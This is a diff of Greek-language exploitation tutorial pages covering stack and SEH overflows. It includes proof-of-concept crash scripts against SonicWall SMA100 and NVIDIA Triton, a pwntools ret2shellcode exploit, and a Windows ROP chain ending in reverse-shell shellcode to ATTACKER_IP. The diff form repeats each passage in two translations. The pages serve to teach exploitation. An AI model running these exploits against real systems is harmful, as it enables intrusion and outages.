Σε 32-bit Windows, ένα overflow μπορεί να overwrite το Structured Exception Handler (SEH) chain αντί για το αποθηκευμένο return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte πεδίο nSEH για ένα σύντομο jump για να pivot πίσω στον μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό μοτίβο είναι ένα short jmp στο nSEH που προσγειώνεται σε ένα 5-byte near jmp τοποθετημένο ακριβώς πριν από το nSEH για να πηδήξει εκατοντάδες bytes πίσω στην αρχή του payload.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -84,7 +84,7 @@ windows-seh-overflow.md
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακάμψετε την κύρια προστασία στην προηγούμενη τεχνική: **No executable stack (NX)**. Επίσης επιτρέπει την υλοποίηση πολλών άλλων τεχνικών (ret2lib, ret2syscall...) που θα οδηγήσουν στην εκτέλεση αυθαίρετων εντολών εκμεταλλευόμενες υπάρχουσες instructions στο binary:
|
||||
Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακαμφθεί η κύρια προστασία της προηγούμενης τεχνικής: **No executable stack (NX)**. Επιπλέον επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν arbitrary commands εκμεταλλευόμενες υπάρχουσες οδηγίες στο binary:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -93,16 +93,16 @@ windows-seh-overflow.md
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Ένα overflow δεν θα είναι πάντα στο stack — μπορεί επίσης να βρίσκεται στο **heap**, για παράδειγμα:
|
||||
Ένα overflow δεν θα βρίσκεται πάντα στη στοίβα, μπορεί επίσης να είναι στο **heap** για παράδειγμα:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Τύποι προστασιών
|
||||
## Types of protections
|
||||
|
||||
Υπάρχουν διάφορες προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών — δείτε τις στο:
|
||||
Υπάρχουν διάφορες προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, δείτε τις στο:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -111,34 +111,34 @@ windows-seh-overflow.md
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεστε για parsing μη αξιόπιστης εισόδου** εμφανίστηκε το 2025 στη συσκευή SonicWall’s SMA100 SSL-VPN.
|
||||
Η ευπαθής ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που ξεκινά με `/__api__/`:
|
||||
Μια καλή επίδειξη του γιατί **`sscanf` δεν πρέπει ποτέ να εμπιστεύεται για την ανάλυση μη αξιόπιστων εισόδων** εμφανίστηκε το 2025 στην SonicWall’s SMA100 SSL-VPN appliance.
|
||||
Η ευάλωτη ρουτίνα μέσα στο `/usr/src/EasyAccess/bin/httpd` προσπαθεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που ξεκινά με `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια **δύο** bytes στο `version` (π.χ. "v1").
|
||||
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει προσδιοριστή μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**.
|
||||
3. Επειδή το `endpoint` βρίσκεται στην **stack** και έχει μήκος **0x800 bytes**, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει τα πάντα που βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένου του **stack canary** και της **saved return address**.
|
||||
1. Η πρώτη μετατροπή (`%2s`) αποθηκεύει με ασφάλεια δύο bytes στο `version` (π.χ. `"v1"`).
|
||||
2. Η δεύτερη μετατροπή (`%s`) **δεν έχει καθορισμένη παράμετρο μήκους**, επομένως το `sscanf` θα συνεχίσει να αντιγράφει **μέχρι το πρώτο NUL byte**.
|
||||
3. Εφόσον το `endpoint` βρίσκεται στον `stack` και έχει μήκος 0x800 bytes, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει όλα όσα βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένων του `stack canary` και της `saved return address`.
|
||||
|
||||
Ένα proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash **πριν την αυθεντικοποίηση**:
|
||||
Μια proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash **πριν την αυθεντικοποίηση**:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Ακόμα κι αν οι stack canaries τερματίζουν τη διεργασία, ο επιτιθέμενος εξακολουθεί να αποκτά μια δυνατότητα **Denial-of-Service** (και, με επιπλέον information leaks, ενδεχομένως εκτέλεση κώδικα). Το μάθημα είναι απλό:
|
||||
Ακόμα και αν τα stack canaries τερματίζουν τη διαδικασία, ο επιτιθέμενος αποκτά παρ' όλ' αυτά ένα **Denial-of-Service** primitive (και, με επιπρόσθετα information leaks, ενδεχομένως code-execution). Το μάθημα είναι απλό:
|
||||
|
||||
* Να ορίζετε πάντα ένα **μέγιστο πλάτος πεδίου** (π.χ. `%511s`).
|
||||
* Να παρέχετε πάντα ένα **maximum field width** (π.χ. `%511s`).
|
||||
* Προτιμήστε ασφαλέστερες εναλλακτικές όπως `snprintf`/`strncpy_s`.
|
||||
|
||||
### Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
Το NVIDIA Triton Inference Server (≤ v25.06) περιείχε πολλαπλά **stack-based overflows** προσβάσιμα μέσω της HTTP API.
|
||||
Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα στα `http_server.cc` και `sagemaker_server.cc`:
|
||||
Το NVIDIA’s Triton Inference Server (≤ v25.06) περιείχε πολλαπλά **stack-based overflows** προσβάσιμα μέσω του HTTP API.
|
||||
Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα στο `http_server.cc` και `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -148,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των internal buffer segments** που συνθέτουν το τρέχον HTTP request body.
|
||||
2. Κάθε segment προκαλεί την κατανομή ενός `evbuffer_iovec` **16-byte** στο **stack** μέσω `alloca()` – **χωρίς κανένα άνω όριο**.
|
||||
3. Καταχρώμενος το **HTTP _chunked transfer-encoding_**, ένας client μπορεί να αναγκάσει το request να χωριστεί σε **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`). Αυτό κάνει το `n` να αυξάνεται χωρίς όριο μέχρι να εξαντληθεί το stack.
|
||||
1. `evbuffer_peek` (libevent) επιστρέφει τον **αριθμό των εσωτερικών buffer segments** που συνθέτουν το τρέχον σώμα HTTP αιτήματος.
|
||||
2. Κάθε τμήμα προκαλεί την κατανομή ενός `evbuffer_iovec` **16-byte** στο **stack** μέσω `alloca()` – **χωρίς κανένα ανώτατο όριο**.
|
||||
3. Καταχρηστικά χρησιμοποιώντας **HTTP _chunked transfer-encoding_**, ένας client μπορεί να αναγκάσει το αίτημα να χωριστεί σε **εκατοντάδες χιλιάδες 6-byte chunks** (`"1\r\nA\r\n"`). Αυτό κάνει το `n` να αυξάνεται απεριόριστα μέχρι να εξαντληθεί το stack.
|
||||
|
||||
#### Απόδειξη Πρωτοτύπου (DoS)
|
||||
#### Απόδειξη Ιδέας (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -176,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Ένα ~3 MB αίτημα είναι αρκετό για να υπεργράψει την αποθηκευμένη διεύθυνση επιστροφής και να **crash** το daemon σε ένα default build.
|
||||
Ένα ~3 MB αίτημα είναι αρκετό για να υπεργράψει την αποθηκευμένη διεύθυνση επιστροφής και να **crash** τον daemon σε ένα default build.
|
||||
|
||||
#### Επιδιόρθωση & Μετριασμός
|
||||
Η έκδοση 25.07 αντικαθιστά την ανασφαλή κατανομή στη στοίβα με ένα **heap-backed `std::vector`** και χειρίζεται ομαλά το `std::bad_alloc`:
|
||||
#### Διόρθωση & Αντιμετώπιση
|
||||
Η έκδοση 25.07 αντικαθιστά την unsafe stack allocation με ένα **heap-backed `std::vector`** και χειρίζεται ομαλά το `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -190,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
||||
struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Διδάγματα:
|
||||
* Μην καλείτε ποτέ `alloca()` με μεγέθη που ελέγχονται από τον επιτιθέμενο.
|
||||
* Chunked requests μπορούν να αλλάξουν δραστικά το σχήμα των server-side buffers.
|
||||
* Επικυρώστε / περιορίστε κάθε τιμή που προκύπτει από client input *πριν* τη χρήση της σε memory allocations.
|
||||
* Μην καλείτε ποτέ `alloca()` με attacker-controlled sizes.
|
||||
* Chunked requests μπορούν να αλλάξουν δραστικά τη μορφή των server-side buffers.
|
||||
* Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από client input *πριν* τη χρήση της σε memory allocations.
|
||||
|
||||
## Αναφορές
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
@ -4,11 +4,9 @@
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στο **binary exploitation**, όπου ένας attacker γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** ώστε να δείχνει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει arbitrary commands σε ένα σύστημα-στόχο. Εδώ ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και του πώς θα μπορούσατε να γράψετε ένα αντίστοιχο exploit χρησιμοποιώντας Python με **pwntools**.
|
||||
**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στο stack ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** ώστε να δείχνει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Πρόκειται για μια κλασική μέθοδο που χρησιμοποιείται για να αποκτήσει κανείς μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα σύστημα-στόχο. Ακολουθεί ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και του τρόπου με τον οποίο μπορείτε να γράψετε το αντίστοιχο exploit χρησιμοποιώντας Python με **pwntools**.
|
||||
|
||||
### Παράδειγμα C: Ένα Ευάλωτο Πρόγραμμα
|
||||
|
||||
Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου C προγράμματος:
|
||||
### Παράδειγμα σε C: Ένα Ευάλωτο Πρόγραμμα
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -26,20 +24,20 @@ return 0;
|
||||
```
|
||||
Αυτό το πρόγραμμα είναι ευάλωτο σε buffer overflow λόγω της χρήσης της συνάρτησης `gets()`.
|
||||
|
||||
### Compilation
|
||||
### Μεταγλώττιση
|
||||
|
||||
Για να μεταγλωττίσετε αυτό το πρόγραμμα ενώ απενεργοποιείτε διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία του stack.
|
||||
- `-z execstack`: Κάνει το stack εκτελέσιμο, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στο stack.
|
||||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable, κάνοντας πιο εύκολο τον υπολογισμό της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας.
|
||||
- `-m32`: Μεταγλωττίζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιείται για απλότητα στην ανάπτυξη exploits.
|
||||
- `-fno-stack-protector`: Απενεργοποιεί την προστασία στοίβας.
|
||||
- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση shellcode αποθηκευμένου στη στοίβα.
|
||||
- `-no-pie`: Απενεργοποιεί το Position Independent Executable (PIE), διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode.
|
||||
- `-m32`: Μεταγλωττίζει το πρόγραμμα ως 32-bit executable, συχνά χρησιμοποιούμενο για απλότητα στο exploit development.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Ακολουθεί πώς μπορείτε να γράψετε ένα exploit σε Python χρησιμοποιώντας **pwntools** για να πραγματοποιήσετε μια επίθεση **ret2shellcode**:
|
||||
Ακολουθεί πώς θα μπορούσατε να γράψετε ένα exploit σε Python χρησιμοποιώντας **pwntools** για να πραγματοποιήσετε ένα **ret2shellcode** attack:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +64,26 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Αυτό το script κατασκευάζει ένα payload που αποτελείται από ένα **NOP slide**, το **shellcode**, και στη συνέχεια υπεργράφει το **EIP** με τη διεύθυνση που δείχνει στο NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||||
Το script αυτό κατασκευάζει ένα payload που αποτελείται από ένα **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στο NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
|
||||
|
||||
Το **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα «γλιστρήσει» στο shellcode μας ανεξάρτητα από την ακριβή διεύθυνση. Προσαρμόστε το όρισμα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset ώστε να προσγειωθείτε στο NOP slide.
|
||||
Το **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "slide" στο shellcode μας ανεξαρτήτως της ακριβούς διεύθυνσης. Προσαρμόστε το όρισμα `p32()` στην αρχική διεύθυνση του buffer σας συν ένα offset για να καταλήξετε στο NOP slide.
|
||||
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
Σε σύγχρονα Windows η στοίβα είναι μη εκτελέσιμη (DEP/NX). Ένας συνηθισμένος τρόπος για να εκτελέσετε shellcode που βρίσκεται στη στοίβα μετά από stack BOF είναι να φτιάξετε μια 64-bit ROP chain που καλεί την VirtualAlloc (ή VirtualProtect) από το module Import Address Table (IAT) για να κάνει μια περιοχή της στοίβας εκτελέσιμη και στη συνέχεια να επιστρέψει στο shellcode που ακολουθεί την αλυσίδα.
|
||||
Σε σύγχρονα Windows η στοίβα είναι μη-εκτελέσιμη (DEP/NX). Ένας κοινός τρόπος για να εξακολουθήσει να εκτελείται stack-resident shellcode μετά από stack BOF είναι να κατασκευάσετε μια 64-bit ROP αλυσίδα που καλεί VirtualAlloc (ή VirtualProtect) από τον Import Address Table (IAT) του module, ώστε να κάνει μια περιοχή της στοίβας εκτελέσιμη και στη συνέχεια να επιστρέψει σε shellcode που έχει προσαρτηθεί μετά την αλυσίδα.
|
||||
|
||||
Σημεία-κλειδιά (Win64 calling convention):
|
||||
Βασικά σημεία (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → επιλέξτε μια διεύθυνση στην τρέχουσα στοίβα (π.χ., RSP) ώστε η νεοδεσμευμένη περιοχή RWX να επικαλύπτει το payload σας
|
||||
- RDX = dwSize → αρκετά μεγάλη για την αλυσίδα + shellcode σας (π.χ., 0x1000)
|
||||
- RCX = lpAddress → επιλέξτε μια διεύθυνση στην τρέχουσα στοίβα (π.χ., RSP) ώστε η νεο-κατανεμημένη περιοχή RWX να επικαλύπτει το payload σας
|
||||
- RDX = dwSize → αρκετά μεγάλη για την αλυσίδα σας + shellcode (π.χ., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Επιστρέψτε απευθείας στο shellcode τοποθετημένο αμέσως μετά την αλυσίδα.
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Ελάχιστη στρατηγική:
|
||||
1) Leak μια βάση module (π.χ., μέσω format-string, object pointer, κ.λπ.) για να υπολογίσετε τις απόλυτες διευθύνσεις των gadgets και του IAT υπό ASLR.
|
||||
2) Βρείτε gadgets για να φορτώσετε RCX/RDX/R8/R9 (pop ή mov/xor-based sequences) και ένα call/jmp [VirtualAlloc@IAT]. Αν δεν έχετε άμεσα pop r8/r9, χρησιμοποιήστε arithmetic gadgets για να συνθέσετε σταθερές (π.χ., θέστε r8=0 και επαναλάβετε προσθήκη r9=0x40 σαράντα φορές για να φτάσετε 0x1000).
|
||||
3) Τοποθετήστε stage-2 shellcode αμέσως μετά την αλυσίδα.
|
||||
1) Leak μια βάση module (π.χ., μέσω format-string, object pointer, κ.λπ.) για να υπολογίσετε τις απόλυτες διευθύνσεις των gadgets και της IAT υπό ASLR.
|
||||
2) Βρείτε gadgets για να φορτώσετε RCX/RDX/R8/R9 (pop ή mov/xor-based sequences) και ένα call/jmp [VirtualAlloc@IAT]. Αν δεν έχετε άμεσα pop r8/r9, χρησιμοποιήστε arithmetic gadgets για να συνθέσετε τις σταθερές (π.χ., θέστε r8=0 και προσθέστε επαναλαμβανόμενα r9=0x40 σαράντα φορές για να φτάσετε το 0x1000).
|
||||
3) Τοποθετήστε το stage-2 shellcode αμέσως μετά την αλυσίδα.
|
||||
|
||||
Παράδειγμα διάταξης (εννοιολογικό):
|
||||
```
|
||||
@ -104,12 +102,12 @@ POP_RDX_RET; 0x1000
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Με ένα περιορισμένο σύνολο gadgets, μπορείτε να κατασκευάσετε τιμές καταχωρητών έμμεσα, για παράδειγμα:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ορίζει το r9 από το rbx, μηδενίζει το r8 και αντισταθμίζει το stack με ένα junk qword.
|
||||
- xor rbx, rsp; ret → γεμίζει το rbx με τον τρέχοντα stack pointer.
|
||||
Με ένα περιορισμένο σύνολο gadget, μπορείτε να δημιουργήσετε τιμές καταχωρητών έμμεσα, για παράδειγμα:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ορίζει το r9 από το rbx, μηδενίζει το r8 και αντισταθμίζει τη στοίβα με ένα junk qword.
|
||||
- xor rbx, rsp; ret → αρχικοποιεί το rbx με τον τρέχοντα δείκτη στοίβας.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → μεταφέρει τιμή προερχόμενη από RSP στο RCX.
|
||||
|
||||
Παράδειγμα Pwntools (δεδομένη μια γνωστή base και gadgets):
|
||||
Pwntools sketch (given a known base and gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
@ -132,27 +130,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Συμβουλές:
|
||||
- VirtualProtect λειτουργεί παρόμοια αν προτιμάται να κάνετε ένα υπάρχον buffer RX· η σειρά των παραμέτρων είναι διαφορετική.
|
||||
- Αν ο χώρος στο stack είναι περιορισμένος, εκχωρήστε RWX αλλού (RCX=NULL) και κάντε jmp σε αυτή τη νέα περιοχή αντί να επαναχρησιμοποιήσετε το stack.
|
||||
- Πάντοτε λαμβάνετε υπόψη gadgets που προσαρμόζουν το RSP (π.χ., add rsp, 8; ret) εισάγοντας junk qwords.
|
||||
Tips:
|
||||
- Το VirtualProtect λειτουργεί παρόμοια αν προτιμάτε να κάνετε ένα υπάρχον buffer RX· η σειρά των παραμέτρων είναι διαφορετική.
|
||||
- Αν ο χώρος του stack είναι στενός, δεσμεύστε RWX αλλού (RCX=NULL) και κάντε jmp σε αυτή τη νέα περιοχή αντί να επαναχρησιμοποιήσετε το stack.
|
||||
- Πάντα λάβετε υπόψη gadgets που προσαρμόζουν το RSP (π.χ., add rsp, 8; ret) εισάγοντας junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **πρέπει να απενεργοποιηθεί** για να είναι η διεύθυνση αξιόπιστη ανάμεσα στις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποιο leak για να καταλάβετε πού φορτώνεται η win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να απενεργοποιηθούν, αλλιώς η παραβιασμένη διεύθυνση επιστροφής του EIP δεν θα ακολουθηθεί ποτέ.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection θα αποτρέψει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **πρέπει να απενεργοποιηθεί** για να είναι η διεύθυνση αξιόπιστη μεταξύ εκτελέσεων, αλλιώς η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστεί κάποια leak για να καταλάβετε πού έχει φορτωθεί η win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **πρέπει επίσης να απενεργοποιηθούν** αλλιώς η παραβιασμένη EIP return address δεν θα ακολουθηθεί ποτέ.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
|
||||
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR με leak διεύθυνσης stack, γράψτε shellcode και κάντε jump σε αυτό
|
||||
- 64bit, ASLR με stack address leak, γράψε shellcode και κάνε jump σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR με leak στο stack, γράψτε shellcode και κάντε jump σε αυτό
|
||||
- 32 bit, ASLR με stack leak, γράψε shellcode και κάνε jump σε αυτό
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR με leak στο stack, σύγκριση για να αποτραπεί η κλήση στο exit(), αντικατάσταση μιας μεταβλητής με μια τιμή και γράψτε shellcode και κάντε jump σε αυτό
|
||||
- 32 bit, ASLR με stack leak, σύγκριση για να αποτραπεί κλήση στο exit(), υπεργραφή μεταβλητής με μια τιμή και γράψε shellcode και κάνε jump σε αυτό
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνει το stack εκτελέσιμο και να κάνει jump στο shellcode στο stack
|
||||
- arm64, χωρίς ASLR, ROP gadget για να κάνει το stack εκτελέσιμο και jump στο shellcode στο stack
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
@ -1,25 +1,25 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
# Windows Εκμετάλλευση Stack Overflow βασισμένη σε SEH (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation είναι μια κλασική x86 Windows τεχνική που καταχράται την Structured Exception Handler chain αποθηκευμένη στο stack. Όταν ένα stack buffer overflow υπεργράφει τα δύο 4-byte πεδία
|
||||
Η SEH-based exploitation είναι μια κλασική τεχνική x86 Windows που εκμεταλλεύεται την Structured Exception Handler αλυσίδα που αποθηκεύεται στο stack. Όταν ένα stack buffer overflow υπερισχύει των δύο 4-byte πεδίων
|
||||
|
||||
- nSEH: pointer to the next SEH record, και
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
an attacker μπορεί να πάρει τον έλεγχο της εκτέλεσης με:
|
||||
ένας επιτιθέμενος μπορεί να πάρει τον έλεγχο της εκτέλεσης με:
|
||||
|
||||
1) Setting SEH στην διεύθυνση ενός POP POP RET gadget σε ένα non-protected module, έτσι ώστε όταν dispatchαριστεί ένα exception το gadget να επιστρέψει σε attacker-controlled bytes, και
|
||||
2) Using nSEH για να ανακατευθύνει την εκτέλεση (συνήθως ένα short jump) πίσω στο μεγάλο overflowing buffer όπου βρίσκεται το shellcode.
|
||||
1) Την τοποθέτηση του SEH στη διεύθυνση ενός POP POP RET gadget σε ένα μη προστατευμένο module, έτσι ώστε όταν διανεμηθεί μια εξαίρεση το gadget να επιστρέψει σε bytes που ελέγχονται από τον επιτιθέμενο, και
|
||||
2) Τη χρήση του nSEH για να ανακατευθύνει την εκτέλεση (τυπικά ένα short jump) πίσω στο μεγάλο overflow buffer όπου βρίσκεται το shellcode.
|
||||
|
||||
Αυτή η τεχνική είναι ειδική για 32-bit processes (x86). Σε μοντέρνα συστήματα, προτίμησε ένα module χωρίς SafeSEH και ASLR για το gadget. Bad characters συχνά περιλαμβάνουν 0x00, 0x0a, 0x0d (NUL/CR/LF) λόγω C-strings και HTTP parsing.
|
||||
Αυτή η τεχνική είναι ειδική για 32-bit processes (x86). Σε σύγχρονα συστήματα, προτιμήστε ένα module χωρίς SafeSEH και ASLR για το gadget. Τα bad characters συχνά περιλαμβάνουν 0x00, 0x0a, 0x0d (NUL/CR/LF) λόγω C-strings και HTTP parsing.
|
||||
|
||||
---
|
||||
|
||||
## Εύρεση ακριβών offsets (nSEH / SEH)
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Crash the process και verify ότι η SEH chain έχει overwritten (π.χ. in x32dbg/x64dbg, check το SEH view).
|
||||
- Στείλε ένα cyclic pattern ως τα overflowing δεδομένα και υπολόγισε τα offsets των δύο dwords που καταλήγουν σε nSEH και SEH.
|
||||
- Crashtάρετε τη διαδικασία και επαληθεύστε ότι η SEH chain έχει υπερισχυθεί (π.χ., σε x32dbg/x64dbg ελέγξτε την SEH view).
|
||||
- Στείλτε ένα cyclic pattern ως τα overflowing data και υπολογίστε τα offsets των δύο dwords που καταλήγουν σε nSEH και SEH.
|
||||
|
||||
Παράδειγμα με peda/GEF/pwntools σε ένα 1000-byte POST body:
|
||||
```bash
|
||||
@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
